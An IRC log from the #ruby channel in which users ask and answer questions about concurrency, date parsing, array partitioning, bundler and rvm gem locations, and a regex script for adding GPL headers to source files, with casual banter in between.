ffranz has joined #ruby
<shevy> Hanmac wake up
terrellt has joined #ruby
acoyfellow has quit [Remote host closed the connection]
Jetchisel has quit [Quit: Unfortunately time is always against us -- *Morpheus*]
nwertman has quit [Remote host closed the connection]
h_kon has quit [Ping timeout: 240 seconds]
pwh has quit []
palms has joined #ruby
<ct529> shevy: yes, I do understand. I am looking at sublime now, but it is just a normal test editor .... I could use kate. For me the reason to use eclipse is not to proliferate development environments .... eclipse already in use for othe types of development.
bean has joined #ruby
mansi has joined #ruby
<ct529> shevy: is this the bluefish you mentione dpreviously http://bluefish.openoffice.nl/index.html?
ewnd9 has quit [Ping timeout: 240 seconds]
petey__ has joined #ruby
samfisher has quit [Read error: Operation timed out]
petey_ has quit [Read error: Operation timed out]
chinychinchin has quit [Read error: Connection reset by peer]
kindjal has joined #ruby
chinychinchin has joined #ruby
maveonair has quit [Ping timeout: 272 seconds]
kindjal has quit [Client Quit]
Cope has joined #ruby
chinychinchin has quit [Read error: Connection reset by peer]
palms has quit [Ping timeout: 246 seconds]
Methylated has joined #ruby
chinychinchin has joined #ruby
burlyscudd has quit [Quit: Leaving.]
<Cope> quick question: I'm doing some research into concurrency frameworks; as an alternatve to akka/play! in java/scala; What does Ruby offer? If one wants to implement a reactive / actor pattern?
maveonair has joined #ruby
<Cope> and does using jruby take away some of the threading issues?
<apeiros> Cope: define "some of the threading issues"
drumsrgr8forn8 has joined #ruby
<apeiros> Cope: look at celluloid and eventmachine
iamjarvo has quit [Remote host closed the connection]
chinychinchin has quit [Client Quit]
mansi_ has joined #ruby
dennus has quit []
chinychinchin has joined #ruby
mansi has quit [Ping timeout: 240 seconds]
iamjarvo has joined #ruby
iamjarvo has quit [Read error: Connection reset by peer]
_dv_ has joined #ruby
Xeago has joined #ruby
iamjarvo has joined #ruby
mrsolo has quit [Quit: This computer has gone to sleep]
tjad has quit [Ping timeout: 246 seconds]
<Cope> apeiros: well, GIL throttling
dv_ has quit [Ping timeout: 272 seconds]
ZenGuy311 has quit [Ping timeout: 246 seconds]
<Cope> old... so maybe out of date
<Cope> and I'm not a computer scientist, so may be misunderstanding.
<apeiros> Ilya should know better - parallelism is what you don't have with MRI. Concurrency you can very well have.
<apeiros> ah
endash has joined #ruby
<apeiros> he does know better :) (Update: post has been renamed to "Parallelism is a Myth in Ruby")
thesheff17 has joined #ruby
DrShoggoth has joined #ruby
<apeiros> no, GIL is still there. and it means that you can't have true parallelism. But it doesn't mean you can't have concurrency.
Lewix has joined #ruby
Lewix has joined #ruby
Lewix has quit [Changing host]
<apeiros> and yes, JRuby does not have a GIL and uses truly parallel threads.
Aryasam has joined #ruby
<Cope> could you clarify the difference between concurrency and parallelism?
peneconleche is now known as peneconleche|awa
ZenGuy311 has joined #ruby
fuhgeddaboudit has joined #ruby
johnnyfuchs has joined #ruby
bean__ has quit [Read error: Connection reset by peer]
<apeiros> Cope: read the linked article in the link you pasted
chinychinchin has quit [Ping timeout: 264 seconds]
bean__ has joined #ruby
<apeiros> or even just the first paragraph. there's no point in me rehashing it for you.
yfeldblum has quit [Read error: Connection reset by peer]
bluOxigen has quit [Ping timeout: 252 seconds]
<Cope> sorry - perhaps I should be more specifuc... i did read it
<shevy> ct529 yes but this is bluefish 2.x I think. I dont use bluefish 2.x, it is worse than bluefish 1.x
tobago has joined #ruby
tyleretters has quit [Ping timeout: 272 seconds]
<Cope> apeiros: ah sorry - got it: http://vimeo.com/49718712
<shevy> ct529 what would be cool would be an editor in ruby, but the only one I know of (redcar) requires you to use java + jruby
<shevy> and my computer is java free!
Xeago has quit [Ping timeout: 246 seconds]
burlyscudd has joined #ruby
<ct529> shevy: I see .... is this the old linux editor (bluefish 1)?
drumsrgr_ has joined #ruby
tyleretters has joined #ruby
ewnd9 has joined #ruby
Mon_Ouie has quit [Ping timeout: 240 seconds]
Vendethi_ has quit [Remote host closed the connection]
Kamuela has joined #ruby
drumsrgr8forn8 has quit [Ping timeout: 245 seconds]
jerius has quit [Ping timeout: 245 seconds]
yalue has joined #ruby
sorbo_ has joined #ruby
VTLob has joined #ruby
Kamuela has left #ruby ["Leaving"]
<sorbo_> is there a ruby method or Date library that handles automatically parsing dates in a given format?
<sorbo_> e.g.
<sorbo_> "Ruby, here's a date as a string, it's American format, make it a Date object"
<sorbo_> I feel like someone must have forged this out of necessity
Astralum has quit [Read error: Connection reset by peer]
<canton7> Date and Time both support that iirc
dkamioka has joined #ruby
ehc has quit [Quit: ehc]
<canton7> well Date certainly does
kindjal has joined #ruby
Metal-01 has quit [Quit: Leaving]
Astralum has joined #ruby
justsee has quit [Ping timeout: 245 seconds]
ananthakumaran has joined #ruby
ananthakumaran has quit [Max SendQ exceeded]
<sorbo_> well the question REALLY is
jerius has joined #ruby
<sorbo_> what if you don't even know what the string format will be
ananthakumaran has joined #ruby
<canton7> then how is it supposed parse it?
<canton7> 01/01/2010 is ambiguous
<shevy> ct529 yeah :)
x1337807x has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
dkamioka has quit [Remote host closed the connection]
deception has joined #ruby
<ct529> shevy: it was good, I used it in the past .... I will wait for Hanmac
<canton7> there's a library called chronic which does natural language parsing for dates and times
<canton7> but it's not perfect
<sorbo_> that's why I specified American format
<sorbo_> I understand it would be ambiguous for dates <= 12
<sorbo_> hm, chronic might be what I'm looking for
adamnbowen has joined #ruby
ct529 has quit [Remote host closed the connection]
ehc has joined #ruby
kindjal has quit [Ping timeout: 248 seconds]
pixelgremlins has joined #ruby
p8952 has joined #ruby
tomzx_mac has quit [Ping timeout: 264 seconds]
<_br_> sorbo_: Date#parse does automatically guess the format. But its probably a bad idea to rely on that.
burlyscudd1 has joined #ruby
mary5030 has joined #ruby
burlyscudd has quit [Read error: Connection reset by peer]
gyre007 has joined #ruby
RORgasm has joined #ruby
mrsolo has joined #ruby
kaspergrubbe has quit [Remote host closed the connection]
kindjal has joined #ruby
tobago has quit [Ping timeout: 248 seconds]
camilasan has quit [Remote host closed the connection]
camilasan has joined #ruby
glacius has joined #ruby
nucatus has joined #ruby
dweeb has quit [Quit: Computer has gone to sleep.]
mengu has quit [Remote host closed the connection]
brennanMKE has joined #ruby
mengu has joined #ruby
<sorbo_> innnnteresting
fredjean has joined #ruby
brennanMKE has quit [Read error: Connection reset by peer]
ebetancourt has joined #ruby
brennanMKE has joined #ruby
camilasan has quit [Remote host closed the connection]
camilasan has joined #ruby
<apeiros> it IS a bad idea to rely on that and should only be used as a last resort
<apeiros> the right way is to have a fixed format and use strptime
<apeiros> @ sorbo_ & _br_
<apeiros> and I see canton7 already linked that
shaunbaker has quit [Remote host closed the connection]
shaunbaker has joined #ruby
<sorbo_> apeiros: good call
<sorbo_> tough thing is we don't own the data source on this one
shredding has quit [Ping timeout: 272 seconds]
<sorbo_> and they're inconsistent
<apeiros> then kick them in the balls
<sorbo_> _br_: thanks!
<sorbo_> defaults to european dates though
kobain has joined #ruby
<sorbo_> I think between that & warnings about not relying on it, we'll roll our own
<sorbo_> to handle this cas
<sorbo_> e
petey__ has quit [Remote host closed the connection]
<sorbo_> apeiros: I would love to deliver a hearty kick to the balls on this one
_dv_ is now known as dv_
<apeiros> do they at least make it recognizable? or do they randomly switch between mm/dd/yyyy and dd/mm/yyyy?
petey_ has joined #ruby
<sorbo_> I think I'll have to settle for just cleaning up their mess before we use the date
<sorbo_> apeiros: the latter
<apeiros> teh fuck?
lnemo has quit [Quit: Leaving.]
shredding has joined #ruby
<sorbo_> it's not even always mm/dd/yyyy
<sorbo_> you can get something like
<apeiros> that's insane
<sorbo_> 10-Oct-2013
<sorbo_> you're telling me
<apeiros> well, Oct is at least unambiguous
<sorbo_> truth
<apeiros> if it's unambiguous but multiple formats, then you can use a case/when statement with proper regexen
hyperlink has joined #ruby
<sorbo_> I think that's what we'll end up doing
<sorbo_> as long as we can ensure we don't get 04/02/2013 and not know if that's April 2 or February 4
Hanmac has quit [Quit: Leaving.]
<sorbo_> I think they do provide metadata on the date format we can use, e.g. 'en-US' and 'en-GB'
Creeture has joined #ruby
Hanmac has joined #ruby
<sorbo_> anyway
<sorbo_> thanks all
tharindu has quit [Quit: Leaving...]
burlyscudd1 has quit [Quit: Leaving.]
<apeiros> e.g. case date when /\A\d+-[A-Za-z]+-\d+\z/ then Date.strptime(date, "%d-%B-%Y"); when %r{\A\d\d/\d\d/\d{4}\z/; then Date.strptime(date, "%d/%m/%Y"); when …
mrsolo has quit [Quit: This computer has gone to sleep]
mlpinit has quit [Ping timeout: 246 seconds]
<m0no> I have [1,2,3,4,5,6] and I want [1,3,5] and [2,4,6] - there must be a neet 1 liner here
jhaals has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
shaunbaker has quit [Ping timeout: 272 seconds]
<apeiros> m0no: .each_slice(3).to_a
DanBoy has quit [Remote host closed the connection]
petey_ has quit [Ping timeout: 264 seconds]
<Creeture> Mornin. What's the most Ruby way to do this? https://gist.github.com/ccosby/0cdfe639ef9fc410acb8
shaunbaker has joined #ruby
<m0no> apeiros: I knew there was one thanks!
zhijia has joined #ruby
nucatus has quit [Ping timeout: 240 seconds]
<zhijia> it
<zhijia> hi
awarner_ has joined #ruby
<interactionjaxsn> m0no: apeiros: that doesn't provide what he asked for
shaunbaker has quit [Remote host closed the connection]
<apeiros> interactionjaxsn: oh, you're right
<m0no> oh no - that doesnt
<apeiros> I thought he wanted to just split it in chunks
zhijia has left #ruby [#ruby]
Cheos has quit [Quit: Leaving...]
bklane has joined #ruby
shaunbaker has joined #ruby
<interactionjaxsn> i did as well
sevenseacat has quit [Quit: Leaving.]
<apeiros> >> [1,2,3,4,5,6].partition(&:even)
<eval-in> apeiros => undefined method `even' for 1:Fixnum (NoMethodError) ... (https://eval.in/58812)
<apeiros> >> [1,2,3,4,5,6].partition(&:even?)
<eval-in> apeiros => [[2, 4, 6], [1, 3, 5]] (https://eval.in/58813)
<apeiros> blerp
<apeiros> >> [1,2,3,4,5,6].partition(&:odd?)
<eval-in> apeiros => [[1, 3, 5], [2, 4, 6]] (https://eval.in/58814)
<apeiros> true comes first, silly me
awarner__ has joined #ruby
<m0no> oh but I have to do it on the index
<apeiros> m0no: ah well - that's about being specific in your question
<apeiros> if you only provide in- and output…
gja has joined #ruby
palms has joined #ruby
tonni has quit [Remote host closed the connection]
awarner has quit [Ping timeout: 252 seconds]
tyleretters has left #ruby [#ruby]
tonni has joined #ruby
<apeiros> anyway, I think I'd still use partition.
zeade has quit [Quit: Leaving.]
<apeiros> >> ["a", "b", "c", "d", "e", "f"].with_index { |v,i| i.even? }
<eval-in> apeiros => undefined method `with_index' for ["a", "b", "c", "d", "e", "f"]:Array (NoMethodError) ... (https://eval.in/58815)
awarner_ has quit [Ping timeout: 245 seconds]
<apeiros> gah, copy & paste is DIFFICULT!
<apeiros> >> ["a", "b", "c", "d", "e", "f"].partition.with_index { |v,i| i.even? }
<eval-in> apeiros => [["a", "c", "e"], ["b", "d", "f"]] (https://eval.in/58816)
krz has joined #ruby
<m0no> amazing
<apeiros> and next time - be more specific in your question :-p
shaunbaker has quit [Ping timeout: 245 seconds]
shaunbaker has joined #ruby
<m0no> ok sry
<apeiros> np
<_br_> apeiros: Thanks, I have the same opinion, hence I wrote "probably". As usual it always depends on your usecase.
doug_f has left #ruby ["Leaving"]
<apeiros> _br_: yeah, I wanted to reinforce your statement
<apeiros> IMO one of the biggest reason for bad software is needlessly being unspecific. formats can be made specific.
<_br_> totally agree
mlpinit has joined #ruby
tonni has quit [Ping timeout: 240 seconds]
cody-- has joined #ruby
CaptainJet has joined #ruby
|jemc| has joined #ruby
mlpinit has quit [Read error: Connection reset by peer]
cody-- has quit [Client Quit]
burlyscudd has joined #ruby
<_br_> wth.... http://en.community.dell.com/support-forums/laptop/f/3518/t/19512174.aspx "Users complain their Dell 6430u laptops smell like cat piss"
mlpinit_ has joined #ruby
varfoo has quit [Quit: WeeChat 0.4.0]
<apeiros> lol
<workmad3> _br_: sounds like someone's cat pissed on a laptop
<|jemc|> sounds about right for a Dell...
tesuji has quit [Ping timeout: 245 seconds]
sbos99 has quit [Quit: Leaving]
cody-- has joined #ruby
kaspergrubbe has joined #ruby
Vendethi_ has joined #ruby
<hyperlink> I'm trying to install a gem from a forked github repo and bundler is installing it into a separate directory but when I do bundle install --path= it's not installing it into the specified directory nor is giving me warnings
OdNairy has joined #ruby
zoee has quit [Quit: zoee]
<hyperlink> bundle is installing it in a bundler/gems directory instead of my gems directory with my local list
blaxter has quit [Quit: foo]
Alina-malina has quit [Read error: Connection reset by peer]
michael_mbp is now known as zz_michael_mbp
Alina-malina has joined #ruby
nateberkopec has joined #ruby
dkamioka has joined #ruby
larissa has quit [Quit: Leaving]
pskosinski has quit [Quit: Til rivido Idisti!]
sjkaliski has joined #ruby
nateberkopec has quit [Read error: Connection reset by peer]
`Chris` has quit [Read error: Connection reset by peer]
`Chris` has joined #ruby
dddtest_549a0 has joined #ruby
burlyscudd has quit [Ping timeout: 240 seconds]
lsmola_ has quit [Ping timeout: 246 seconds]
maasha has quit [Quit: Page closed]
pierre1 has joined #ruby
sanav has joined #ruby
wak3r has joined #ruby
Xeago has joined #ruby
iamjarvo has quit [Ping timeout: 240 seconds]
jprovazn has quit [Quit: Leaving]
<sanav> i download Standard Library API and Core API from http://www.ruby-doc.org/ .I extract the .gz folders and now it has ruby_2_0_stdlib_rdocs without any extension .Now please tell mehow to use them on windows .
iamjarvo has joined #ruby
dweeb has joined #ruby
cyberarm has joined #ruby
amacgregor__ has joined #ruby
BizarreCake has quit [Read error: Connection reset by peer]
gja has quit [Quit: This computer has gone to sleep]
<_br_> sanav: You want to install ruby?
rippa has joined #ruby
<sanav> _br_: want to install API documentation .
cyberarm_ has joined #ruby
cyberarm has quit [Read error: Connection reset by peer]
<_br_> hyperlink: Are you using rvm or rbenv ?
<hyperlink> rvm
v0n is now known as v0n|w
<hyperlink> I just saw I have a .bundle/config and it was overriding there but it's still installing into some bundle directory :(
burlyscudd has joined #ruby
<hyperlink> like in ruby/2.0.0/gems/bundler/etc
<_br_> hyperlink: When using rvm, bundler it will install all libs into a separate gemset folder, why do you want to change the default location?
tagrudev has quit [Remote host closed the connection]
Xeago has quit [Ping timeout: 246 seconds]
jezen has quit [Remote host closed the connection]
Azulinho has joined #ruby
<sanav> _br_: understand ?
mgorbach has quit [Read error: Connection reset by peer]
<_br_> sanav: Doesn't the standard windows ruby installer come with CHM files out of the box?
<hyperlink> _br_ great question - I am installing a gem from a forked github - I added it to a Gemfile and just did bundle install and it's not listed in my "gem list" command - just trying to get it working
<hyperlink> _br_ so I figured it wasn't installing into the right directory
emdub has quit [Remote host closed the connection]
TheMoonMaster has quit [Excess Flood]
palms has quit [Ping timeout: 264 seconds]
jbpros has joined #ruby
<_br_> hyperlink: Well, probably it makes sense to create a fresh gemset for this app via rvm --create ... then you don't need to handle specific install locations because bundler handles it automatically for you
<dzan> hi, still learning ruby so there might be some strange stuff in here: https://gist.github.com/dzan/f7ebb58c502db44e0c5d but does anyone know why between lines 54-58 'block_end' gets a wrong value? it seems to be to correct one if I only do either block_end or block_start but when I put both after eachother like this I get wrong results
TheMoonMaster has joined #ruby
<hyperlink> _br_ I'd like to keep it in this gem set as it's project specific - sorry I'm very new to ruby
mikepack has joined #ruby
<hyperlink> _br_ it's a gem needed for my continuous integration system for objective-c
<hyperlink> ruby runs that for me pretty much
cyberarm_ has quit [Read error: Connection reset by peer]
nucatus has joined #ruby
lachesis has left #ruby ["Leaving"]
<_br_> hyperlink: Maybe a good idea to read a bit about gemsets ... http://rvm.io/gemsets/basics
<hyperlink> _br_ thanks but I already have a gemset created for this project it installs it in gemset/bundler/gems -- this would be fine but the command line isn't showing up for me
codeFiend has quit [Quit: codeFiend]
<hyperlink> I would be fine with linking that up and allowing bundler to install in a different location
<hyperlink> like the new command from that gem meaning
sayan has joined #ruby
graydot has quit [Quit: graydot]
einarj has quit [Remote host closed the connection]
mgorbach has joined #ruby
mrsolo has joined #ruby
verto has quit [Ping timeout: 272 seconds]
mikepack has quit [Ping timeout: 245 seconds]
persand has quit [Quit: persand]
TheNumb has quit [Quit: ZNC - http://znc.sourceforge.net]
soulcake has quit [Read error: Connection reset by peer]
k610 has quit [Quit: Leaving]
ReachingFarr has joined #ruby
<_br_> dzan: Couple of comments. Using global variables is a really bad idea. For commandline parsing you might want to look into e.g. thor gem or optparse. Wrong values problem. Hm, what are you actually trying to achieve here?
Zeeraw has quit [Quit: Computer has gone to sleep.]
<hyperlink> _br_ I think I might just pull the source down, do a bundle build and infall the gem file locally
OdNairy has quit [Ping timeout: 246 seconds]
soulcake has joined #ruby
tvw has quit [Remote host closed the connection]
<dzan> _br_, yeah I'll do optparse later just working on the logic first
<dzan> _br_, I'll remove the global variables
<dzan> _br_, I'm trying to get the line number of the first comment block start & end
<dzan> C-style comments
<_br_> hyperlink: Bundler does that automatically for you, but I'm suspecting you are using different gemsets e.g. local $name vs global gemset resulting in you not "finding" it
kevinykchan has joined #ruby
<_br_> dzan: So you are trying to write a tokenizer.
tonni has joined #ruby
ananthakumaran has quit [Quit: Leaving.]
minimus has joined #ruby
sayan has quit [Read error: Connection reset by peer]
tvw has joined #ruby
ace_striker has joined #ruby
sambao21 has quit [Quit: Computer has gone to sleep.]
<_br_> Hm
<dzan> _br_, no :-) don't need that much power
<dzan> really regexes are fine for what I need
<_br_> I see
leonidlm has quit [Ping timeout: 272 seconds]
burlyscudd has quit [Quit: Leaving.]
<dzan> _br_, I tested the regexes with http://rubular.com/
<dzan> ( they are not that difficult anyway :p )
tobago has joined #ruby
<dzan> must be something 'ruby' I don't know about yet
baordog has joined #ruby
<_br_> well, you can rely on some simple regexes but I'm sure there are corner cases. e.g. cases where comment symbols are inside strings etc.
yfeldblum has joined #ruby
DrForr_ is now known as DrForr
jonr22 has joined #ruby
<_br_> Ruby can do multiline matches... %r(/\*.*?\*/)m
flops has joined #ruby
<_br_> but again, this is a "half-measure"
<_br_> Btw. just to be sure. You are not trying to write a script to go through all files and remove GPL license comments, do you?
mikecmpbll has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
elux has joined #ruby
<dzan> _br_, I really went over the cases where it fails and my regex manually matches it
Vendethi_ has quit [Remote host closed the connection]
<dzan> does the .find_index has state or something?
<dzan> _br_, no I'm not :)
jonr22 has quit [Read error: Operation timed out]
sambao21 has joined #ruby
<_br_> ok :)
<dzan> actually i'm adding gpl header to a source tree
kevinykchan has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
<dzan> and there probably are scripts for that, i'm learning ruby :)
mikecmpbll has joined #ruby
bklane_ has joined #ruby
pedda has quit [Quit: Textual IRC Client: www.textualapp.com]
kevinykchan has joined #ruby
flops has quit [Client Quit]
snappy has quit [Ping timeout: 245 seconds]
flops has joined #ruby
zodiak has joined #ruby
tobago has quit [Remote host closed the connection]
amacgregor__ has quit [Ping timeout: 245 seconds]
stef__ has joined #ruby
butblack has joined #ruby
<_br_> interesting, there is actually a gem that spits out a C99 AST in ruby.
bklane has quit [Ping timeout: 245 seconds]
mikepack has joined #ruby
tjbarber has joined #ruby
jrhe has joined #ruby
snappy has joined #ruby
snappy has quit [Changing host]
snappy has joined #ruby
<dzan> _br_, it's not only C code :D
<dzan> but indeed cool that exists
Soda has quit [Remote host closed the connection]
stef__ has quit [Read error: Connection reset by peer]
mrsolo has quit [Quit: This computer has gone to sleep]
juarlex has joined #ruby
<hyperlink> _br_ thanks for your help - I"m going to give up for now and come back to it
<_br_> hyperlink: Try the #rvm channel
<hyperlink> thanks _br_ !
zz_tsykoduk is now known as tsykoduk
jezen has joined #ruby
burlyscudd has joined #ruby
LarsSmit has quit [Quit: Leaving.]
jhaals has joined #ruby
devdazed has joined #ruby
benwoody has joined #ruby
jezen_ has joined #ruby
b00stfr3ak has joined #ruby
sayan has joined #ruby
fgo has quit [Remote host closed the connection]
kindjal has quit [Ping timeout: 272 seconds]
fgo has joined #ruby
hyperlink has left #ruby ["Textual IRC Client: www.textualapp.com"]
dkamioka_ has joined #ruby
kennyvb has joined #ruby
jhaals has quit [Ping timeout: 256 seconds]
jezen has quit [Ping timeout: 256 seconds]
ananthakumaran has joined #ruby
jprovazn has joined #ruby
heftig has quit [Quit: Quitting]
adeponte has joined #ruby
baroquebobcat has joined #ruby
<_br_> dzan: Btw. it depends on the license but rescinding or chaning a license is often impossible.
kennyvb_ has quit [Ping timeout: 245 seconds]
dkamioka has quit [Ping timeout: 246 seconds]
jhaals has joined #ruby
flower-pot has joined #ruby
dhilipsiva has quit [Remote host closed the connection]
nfk has quit [Read error: Operation timed out]
aspires has joined #ruby
dhilipsiva has joined #ruby
<dzan> _br_, it is in our case :)
<dzan> _br_, als this script has to add a header if there isn't one
<dzan> but i can't figureout what's wrong probably something stupid
fgo has quit [Ping timeout: 264 seconds]
brianpWins has quit [Quit: brianpWins]
flower-pot has quit [Client Quit]
flower-pot has joined #ruby
sanav has quit [Quit: Page closed]
<_br_> dzan: Try using Pry and setting a breakpoint, its a good exercise.
bluenemo has quit [Remote host closed the connection]
RichardBaker has joined #ruby
jkhwan has joined #ruby
endash_ has joined #ruby
dhilipsiva has quit [Ping timeout: 256 seconds]
achru has quit [Remote host closed the connection]
dkamioka_ has quit [Read error: Connection reset by peer]
dkamioka has joined #ruby
achru has joined #ruby
digital-ghost has joined #ruby
<dzan> _br_, thx I'll do that
burlyscudd has quit [Quit: Leaving.]
RichardBaker has quit [Client Quit]
amacgregor__ has joined #ruby
shaunbaker has quit [Remote host closed the connection]
raphaelivan has joined #ruby
pr0ggie has quit [Ping timeout: 246 seconds]
shaunbaker has joined #ruby
pdimitrov has quit [Ping timeout: 272 seconds]
yfeldblum has quit [Remote host closed the connection]
soukihei_ has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
burlyscudd has joined #ruby
flower-pot has quit [Quit: leaving]
flower-pot has joined #ruby
petey_ has joined #ruby
RichardBaker has joined #ruby
pedda has joined #ruby
achru has quit [Ping timeout: 245 seconds]
krz has quit [Quit: krz]
shemarov has joined #ruby
lmickh has joined #ruby
nucatus has quit [Remote host closed the connection]
pel_daniel has joined #ruby
tatsuya_o has quit [Remote host closed the connection]
tatsuya_o has joined #ruby
shaunbaker has quit [Ping timeout: 272 seconds]
ssvo has joined #ruby
dkamioka has quit [Remote host closed the connection]
goleldar has joined #ruby
ace_striker has quit [Ping timeout: 250 seconds]
jkhwan has quit [Remote host closed the connection]
jkhwan has joined #ruby
`Chris`_ has joined #ruby
dkamioka_ has joined #ruby
zeropx has joined #ruby
allaire has quit []
threesome has quit [Ping timeout: 246 seconds]
shaunbaker has joined #ruby
bradhe has joined #ruby
yfeldblum has joined #ruby
`Chris` has quit [Ping timeout: 272 seconds]
jonahR has joined #ruby
pdimitrov has joined #ruby
pr0ggie has joined #ruby
jamblack has quit [Quit: jamblack]
jkhwan has quit [Ping timeout: 272 seconds]
zeropx has quit [Client Quit]
jkhwan has joined #ruby
pyrac has quit [Ping timeout: 245 seconds]
jamblack has joined #ruby
zeropx has joined #ruby
astrobun_ has joined #ruby
coca_rails has joined #ruby
soukihei has joined #ruby
havenwood has joined #ruby
lorundrik has joined #ruby
boxmein has joined #ruby
sarlalian has quit [Quit: WeeChat 0.4.0]
xk_id has joined #ruby
astrobunny has quit [Ping timeout: 246 seconds]
gja has joined #ruby
gja has joined #ruby
gja has quit [Changing host]
Xeago has joined #ruby
gja has quit [Client Quit]
<shevy> if ruby were only as fast as C ...
aantix has joined #ruby
Aryasam has quit [Quit: Bye]
mengu has quit [Remote host closed the connection]
Aryasam has joined #ruby
Metal-01 has joined #ruby
yoniPacheko has quit [Remote host closed the connection]
zeropx has quit [Quit: has left the room … Or did he?]
noop has quit [Ping timeout: 246 seconds]
sjkaliski has quit [Quit: Linkinus - http://linkinus.com]
nateberkopec has joined #ruby
zeropx has joined #ruby
yoniPacheko has joined #ruby
nari has quit [Ping timeout: 272 seconds]
dma_ has joined #ruby
mengu has joined #ruby
mengu has joined #ruby
mengu has quit [Changing host]
Xeago has quit [Ping timeout: 246 seconds]
peta_ has quit [Quit: peta_]
adeponte has quit [Remote host closed the connection]
<havenwood> if only C were as fast as Fortran ...
mrsolo has joined #ruby
yoniPacheko has quit [Ping timeout: 245 seconds]
MrPoT4tO has joined #ruby
<Hanmac> shevy sorry i was shopping today
mrpot4to_ has joined #ruby
zeade has joined #ruby
apeiros has quit [Remote host closed the connection]
nfk has joined #ruby
mengu has quit [Remote host closed the connection]
apeiros has joined #ruby
Fire-Dragon-DoL has joined #ruby
julweber has quit [Remote host closed the connection]
HoneyMaker has joined #ruby
julweber has joined #ruby
jhaals has quit [Ping timeout: 248 seconds]
HoneyMaker has quit [Read error: Connection reset by peer]
jezen_ has quit [Remote host closed the connection]
maveonair has quit [Ping timeout: 264 seconds]
dweeb has quit [Quit: Computer has gone to sleep.]
jezen has joined #ruby
flops has quit [Quit: leaving]
achru has joined #ruby
apeiros has quit [Ping timeout: 264 seconds]
tboerger has quit [Ping timeout: 272 seconds]
sorbo_ has left #ruby [#ruby]
julweber has quit [Ping timeout: 264 seconds]
nowthatsamatt has quit [Quit: nowthatsamatt]
DouweM has joined #ruby
jezen has quit [Read error: No route to host]
cody-- has quit [Quit: derp]
pkrnj has joined #ruby
brtdv has quit []
zz_michael_mbp is now known as michael_mbp
noname001 has quit [Ping timeout: 245 seconds]
ocfx_work has joined #ruby
nucatus has joined #ruby
theoretick has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
brtdv has joined #ruby
Xeago has joined #ruby
jkhwan has quit [Remote host closed the connection]
palms has joined #ruby
jkhwan has joined #ruby
brtdv has quit [Client Quit]
allaire has joined #ruby
randomnick_ has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
kaspergrubbe has quit [Read error: Operation timed out]
einarj has joined #ruby
nucatus has quit [Ping timeout: 240 seconds]
bean has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Xeago has quit [Ping timeout: 246 seconds]
freezey has quit [Ping timeout: 240 seconds]
ebetancourt has quit [Read error: Connection reset by peer]
allaire has quit [Client Quit]
jkhwan has quit [Ping timeout: 272 seconds]
IceDragon has quit [Ping timeout: 272 seconds]
lyanchih has quit [Ping timeout: 272 seconds]
noop has joined #ruby
jkhwan has joined #ruby
einarj has quit [Ping timeout: 240 seconds]
lmickh has quit [Quit: lmickh]
zipper has joined #ruby
Aryasam has quit [Ping timeout: 245 seconds]
<_br_> Yeah, would be nice if Ruby would have some large dedicated companies push it. Like Facebook did with HipHop for PHP.
<shevy> Hanmac you are too rich!
brennanMKE has quit [Remote host closed the connection]
brennanMKE has joined #ruby
<Hanmac> shevy: i was buying some hose for outside and inside, some socks, and a few books
sambao21 has quit [Quit: Computer has gone to sleep.]
<coca_rails> What up noobz
ixti has joined #ruby
pierre1 has quit [Quit: Leaving]
pyrac has joined #ruby
<shevy> a garden hose?
sepp2k has quit [Quit: Konversation terminated!]
<Hanmac> nah, some jeans like ones
devoldmx has joined #ruby
Aryasam has joined #ruby
<shevy> ;) hose ... der Wasserschlauch
<shevy> let me find the eclipse guy here...
<shevy> ah damn... it was ct529, seems he is gone now
<coca_rails> Hey room i am thinking about changing my username. tell me what you suggest. 1) rubyonmales 2) lizard_ick 3) slurpee_poo
niklasb has joined #ruby
zipper has quit [Ping timeout: 240 seconds]
boxmein has quit [Ping timeout: 272 seconds]
DanKnox_away is now known as DanKnox
lmickh has joined #ruby
<coca_rails> paitiently waiting..
timonv has quit [Remote host closed the connection]
shredding has quit [Quit: shredding]
jrhe has quit [Quit: jrhe]
timonv has joined #ruby
IceDragon has joined #ruby
dagobah has quit [Remote host closed the connection]
sambao21 has joined #ruby
Mitchellvanw has joined #ruby
alup has quit [Quit: Leaving]
brennanMKE has quit [Ping timeout: 272 seconds]
sarlalian has joined #ruby
<mikecmpbll> 3 plz
randomnick_ has joined #ruby
shemarov has quit [Read error: Connection reset by peer]
Mitchellvanw has quit [Client Quit]
rdnsget has joined #ruby
rdnsget has left #ruby [#ruby]
<coca_rails> lol ok
<coca_rails> any others??
nwertman_ has quit [Ping timeout: 245 seconds]
jrhe has joined #ruby
<coca_rails> slurpee_poo it shall be
<mikecmpbll> unanimous.
sbos99 has joined #ruby
<coca_rails> By unanimous decision, coca_rails shall now be known as slurpee_poo!
krawchyk_ has joined #ruby
robbyoconnor has joined #ruby
<workmad3> coca_rails: it seems more like 1 vote and several hundred abstentions, rather than unanimous decision ;)
timonv has quit [Ping timeout: 248 seconds]
SilverKey has joined #ruby
threesome has joined #ruby
<coca_rails> The user formerly known as coca_rails: Dear members of the panel I would like to thank you for your input and for helping me start a new life under a new identity.
apeiros has joined #ruby
freezey has joined #ruby
heidi has quit [Quit: Leaving.]
randomnick_ has quit [Read error: Connection reset by peer]
Voodoofish430 has joined #ruby
mmcdaris has joined #ruby
<andrewvos> 1)
<coca_rails> I promise, that under my new alias, I will behave according to the standards, expectations, and rules set forth by the esteemed members of the ruby channel.
krawchyk has quit [Ping timeout: 240 seconds]
randomnick_ has joined #ruby
camilasan has quit []
rdnsget has joined #ruby
rdnsget has left #ruby [#ruby]
whunt has quit [Quit: Computer has gone to sleep.]
nwertman has joined #ruby
cody-- has joined #ruby
heftig has joined #ruby
Es0teric has joined #ruby
<_br_> minswan.... minswan...
randomnick_ has quit [Read error: Connection reset by peer]
burlyscudd has quit [Quit: Leaving.]
JohnBat26 has quit [Ping timeout: 245 seconds]
lukec has quit [Quit: lukec]
johnnyfuchs has quit [Quit: Leaving.]
rrichardsr3 has joined #ruby
adeponte has joined #ruby
pwh has joined #ruby
andikr has quit [Remote host closed the connection]
Senjai has joined #ruby
Senjai has joined #ruby
hiyosi has quit [Ping timeout: 240 seconds]
